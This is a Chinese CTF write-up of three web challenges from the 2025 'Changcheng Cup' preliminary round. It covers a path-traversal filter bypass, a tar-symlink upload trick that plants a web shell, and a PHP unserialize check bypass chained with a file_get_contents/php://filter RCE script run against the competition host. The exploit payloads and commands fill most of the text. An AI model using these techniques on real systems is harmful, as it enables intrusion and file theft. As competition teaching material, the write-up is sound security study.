第五届“长城杯” 初赛 2025 Web Writeup
第五届“长城杯” 初赛 2025 Web Writeup,打的时候还以为是铁人三项,被篇了,还只有 Web、AI、数据安全三个方向
文曲签学
长按 Fn 激活调试模式
read
能读取文件,文件名区分大小写,../
被过滤
1
| #read ..././..././..././..././flag
|
EZ_upload
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <?php highlight_file(__FILE__);
function handleFileUpload($file) { $uploadDirectory = '/tmp/';
if ($file['error'] !== UPLOAD_ERR_OK) { echo '文件上传失败。'; return; }
$filename = basename($file['name']); $filename = preg_replace('/[^a-zA-Z0-9_\-\.]/', '_', $filename);
if (empty($filename)) { echo '文件名不符合要求。'; return; }
$destination = $uploadDirectory . $filename; if (move_uploaded_file($file['tmp_name'], $destination)) { exec('cd /tmp && tar -xvf ' . $filename.'&&pwd'); echo $destination; } else { echo '文件移动失败。'; } }
handleFileUpload($_FILES['file']); ?>
|
软链接
1 2
| tar -cvf 1.tar link tar -cvf 2.tar link/shell.php
|
SeRce
源码
1 2 3 4 5 6 7 8 9
| <?php highlight_file(__FILE__); $exp = $_GET["exp"]; if(isset($exp)){ if(serialize(unserialize($exp)) != $exp){ $data = file_get_contents($_POST['filetoread']); echo "File Contents: $data"; } }
|
要一个字符串反序列化后和序列化必须不同,在调试的时候发现URL编码后的序列化字符串在反序列化时会被错误的解析,但反序列化仍然通过,这导致了绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php $exp = 'O:7:"Exploit":1:{s:4:"flag";N;}'; echo $exp."\n"; echo (serialize(unserialize($exp)))."\n"; if (isset($exp)) { if (serialize(unserialize($exp)) != $exp) { echo "File Contents1"; } } $exp = urlencode($exp); echo $exp."\n"; echo (serialize(unserialize($exp)))."\n"; echo urlencode(serialize(unserialize($exp)))."\n"; if (isset($exp)) { if (serialize(unserialize($exp)) != $exp) { echo "File Contents2"; } } 输出: O:7:"Exploit":1:{s:4:"flag";N;} O:7:"Exploit":1:{s:4:"flag";N;} O%3A7%3A%22Exploit%22%3A1%3A%7Bs%3A4%3A%22flag%22%3BN%3B%7D b:0; b%3A0%3B File Contents2
|
file_get_content($_POST[''])
,对文件读取的内容没有做任何过滤,在 PHP 中存在这样一个漏洞 RCE,它在非常多的位置都可能存在,详细参考 https://xz.aliyun.com/news/14986
修改 Remote 类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| class Remote: def __init__(self, url: str) -> None: self.url = url self.session = Session()
def send(self, path: str) -> Response: """Sends given `path` to the HTTP server. Returns the response. """ exp="%4f%25%33%41%37%25%33%41%25%32%32%45%78%70%6c%6f%69%74%25%32%32%25%33%41%31%25%33%41%25%37%42%73%25%33%41%34%25%33%41%25%32%32%66%6c%61%67%25%32%32%25%33%42%4e%25%33%42%25%37%44" url = f"{self.url}?exp={exp}" return self.session.post(url, data={"filetoread": path}) def download(self, path: str) -> bytes: """Returns the contents of a remote file. """ path = f"php://filter/convert.base64-encode/resource={path}" response = self.send(path) data = response.re.search(b"File Contents:(.*)", flags=re.S).group(1) return base64.decode(data)
|
经测试不能反弹 Shell,var下没有写入权限,改为写 /tmp 下再用伪协议读取
readflag
具备执行权限
1
| python3 exp.py https://eci-2ze33airnmksp3l29jhw.cloudeci1.ichunqiu.com:80/ "/readflag > /tmp/1"
|
再用伪协议读即可
1
| flag{b548ac91-611f-4937-9a15-726350a2a5b9}
|